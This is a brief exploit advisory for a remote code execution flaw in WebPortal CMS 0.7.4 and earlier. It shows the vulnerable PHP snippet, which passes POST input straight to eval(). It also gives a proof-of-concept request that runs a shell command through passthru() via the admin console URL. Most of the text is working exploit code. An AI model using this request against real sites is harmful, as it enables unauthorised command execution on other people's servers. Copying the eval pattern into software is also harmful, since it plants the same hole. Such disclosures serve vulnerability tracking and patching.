WebPortal CMS <= 0.7.4 (code) Remote Code Execution Vulnerability

WebPortal <= 0.7.4 (code) Remote Code Execution Vulnerability Download : http://webportal.ivanoculmine.com/download.php?mid=14 Vuln : ###################################################################### <? if ($_GET["action"] == "execute") { eval (stripslashes($_POST["code"])); } ?> ###################################################################### POC : /index.php?m=admin&f=console&action=execute&code=(id);} passthru(id); ######################################################################